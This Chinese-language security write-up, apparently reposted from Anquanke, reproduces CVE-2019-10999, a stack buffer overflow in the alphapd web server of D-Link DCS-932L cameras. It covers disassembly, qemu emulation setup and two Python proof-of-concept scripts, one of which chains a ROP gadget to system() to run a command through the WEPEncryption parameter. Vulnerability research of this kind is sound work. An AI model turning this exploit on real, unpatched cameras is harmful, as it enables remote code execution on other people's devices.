CVE-2019-10999 是 Dlink IP 摄像头的后端服务器程序 alphapd 中的一个缓冲区溢出漏洞,漏洞允许经过身份认证的用户在请求 wireless.htm 时,传入 WEPEncryption 参数一个长字符串来执行任意代码。具体描述以及受攻击的型号、固件版本可以查看参考链接,此处漏洞复现采用的是设备 dcs-932l 固件版本 1.14.04,固件下载链接查看参考链接。
对后端服务器程序 alphapd 进行分析,存在漏洞的函数是 sub_435DEC,开辟的栈帧大小是 0x48,其中该函数的返回地址保存在 sp + 0x40,存在溢出的缓冲区起始地址是 sp + 0x18。因此,只需要向缓冲区写入超过 0x28 个字节就可以溢出覆盖返回地址,劫持控制流。除此之外还可以控制 S0~S5 寄存器。
如下是 sub_435DEC 栈帧的开辟以及返回地址的存储汇编代码:
.text:00435DEC li $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0 - .)
.text:00435DF4 addu $gp, $t9
.text:00435DF8 addiu $sp, -0x48
.text:00435DFC sw $ra, 0x28+var_s18($sp)
.text:00435E00 sw $s5, 0x28+var_s14($sp)
.text:00435E04 sw $s4, 0x28+var_s10($sp)
.text:00435E08 sw $s3, 0x28+var_sC($sp)
.text:00435E0C sw $s2, 0x28+var_s8($sp)
.text:00435E10 sw $s1, 0x28+var_s4($sp)
.text:00435E14 sw $s0, 0x28+var_s0($sp)
.text:00435E18 sw $gp, 0x28+var_18($sp)
如下是调用 strcpy 函数复制数据到栈上的缓冲区中,strcpy 的第一个参数 des 通过 a0 寄存器传入,由于跳转延迟槽,对 a0 的操作指令在 jalr 指令之后,但是先于跳转指令执行:
.text:00435F98 loc_435F98: # CODE XREF: sub_435DEC+134↑j
.text:00435F98 la $t9, strcpy
.text:00435F9C move $a1, $s1
.text:00435FA0 jalr $t9 ; strcpy
.text:00435FA4 addiu $a0, $sp, 0x18
.text:00435FA8 lw $gp, 0x28+var_18($sp)
.text:00435FAC b loc_435E98
.text:00435FB0 nop
如下是函数执行完毕进行堆栈平衡,以及恢复 S0~S5寄存器、恢复 ra 寄存器到函数返回地址并跳转执行。
.text:0004BF34 loc_4BF34:
.text:0004BF34 lw $ra, 0x28+var_s14($sp)
.text:0004BF38 lw $s4, 0x28+var_s10($sp)
.text:0004BF3C lw $s3, 0x28+var_sC($sp)
.text:0004BF40 lw $s2, 0x28+var_s8($sp)
.text:0004BF44 lw $s1, 0x28+var_s4($sp)
.text:0004BF48 lw $s0, 0x28+var_s0($sp)
.text:0004BF4C jr $ra
.text:0004BF50 addiu $sp, 0x40
.text:0004BF50 # End of function system
使用 qemu-system-static 搭建
漏洞环境搭建先是使用 qemu-mipsel-static 搭建。
# 进入固件的根目录 复制 qemu-mipsel-static 到根目录cp $(which qemu-mipsel-static) ./# 使用 qemu 启动服务器 alphapdsudo chroot . ./qemu-mipsel-static ./bin/alphapd
根据逆向中的反编译代码提示,是因为需要打开 /var/run/nvramd.pid 文件,那么在固件根目录创建 run 目录和 nvramd.pid 文件。
创建 pid 文件之后,继续运行依旧报错,无法创建 RSA 密钥,应该是缺少 urandom、random 设备造成的,手动在固件根目录创建。
sudo chroot . ./qemu-mipsel-static ./bin/mknod -m 0666 ./dev/random c 1 8
sudo chroot . ./qemu-mipsel-static ./bin/mknod -m 0666 ./dev/urandom c 1 9
报错 unable to write ‘random state’
OpenSSL 需要写入一些信息到 .rnd 文件,上面的错误可能是因为 .rnd 文件不存在,OpenSSL 不知道默认文件在何处,因为 RANDFILE 和 HOME 环境变量没有设置,那么解决方法就是创建 .rnd 文件并且设置环境变量指向这个文件。qemu 启动的时候设置这两个环境变量,解决了上面的问题。
touch .rnd
sudo chroot . ./qemu-mipsel-static -E HOME=/ -E RANDFILE=/.rnd ./bin/alphapd
v3 = getSysInfoLong(30); if ( !v3
&& (v5 = (const char *)nvram_bufget(0, "IPAddress"),
trace(0, "Can't get lan ip from sysinfo!n", v4),
v3 = inet_addr(v5),
v3 == -1) )
{
trace(0, "failed to convert %s to binary ip data", v5);
result = -1;
} else
{
v6 = inet_ntoa(v3);
...
}
使用 qemu-system-mipsel 搭建
chroot . /bin/mknod -m 0666 /dev/random c 1 8
chroot . /bin/mknod -m 0666 /dev/urandom c 1 9
touch .rnd
export HOME=.
export RANDFILE=$HOME/.rnd
chroot . ./bin/alphapd_patch_j
漏洞触发
import requests
Headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'keep-alive', 'Referer': 'http://192.168.100.2/setSystemWireless', 'Upgrade-Insecure-Requests': '1'}
session = requests.session()
data = '?WEPEncryption=' + 'A' * 0x28 + 'B' * 0x4res = session.get(url='http://192.168.100.2/wireless.htm' + data, headers=Headers)print(res.text)
.text:00050DE4 addiu $s2, $sp, 0x1C8+var_D8
.text:00050DE8 move $a0, $s2
.text:00050DEC move $t9, $s0
.text:00050DF0 jalr $t9 ;
-
写入累计 0x10 个字节后,控制 S0 寄存器值为 system 函数地址 -
写入累计 0x28 个字节后,控制 ra 寄存器值为 gadget 地址 -
跳转到 system 函数,执行构造的字符串命令。此时已经恢复了堆栈, 从恢复的 sp + 0x1c8 – 0xd8 取出命令开始执行
import requests
Headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'keep-alive', 'Referer': 'http://192.168.100.2/setSystemWireless', 'Upgrade-Insecure-Requests': '1'}
session = requests.session()
data = '?WEPEncryption=' + 'A' * 0x10 + '%20%BD%F1%77' + 'B' * (0x28 - 0x10 - 0x4) + '%E4%0D%F2%77' + (0x30 - 0x28 - 0x4 + 0x1c8 - 0xd8) * 'C' + 'ls'res = session.get(url='http://192.168.100.2/wireless.htm' + data, headers=Headers)
print(res.text)
-
[cve.mitre.org] CVE-2019-10999 概述 -
[先知社区] CVE-2019-10999复现 [github] CVE-2019-10999 [固件下载] DCS-932L_REVA_FIRMWARE_1.14.04.ZIP How to fix openssl error “unable to write ‘random state’”? - 结尾 - 精彩推荐 【技术分享】剖析脏牛1_mmap如何映射内存到文件 -
【技术分享】我是如何入侵Apple并拿到40万赏金的(二) -
【技术分享】DiceCTF 2021 学习笔记 戳“阅读原文”查看更多内容
原文始发于微信公众号(安全客):【技术分享】CVE-2019-10999 Dlink IP 摄像头缓冲区溢出
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论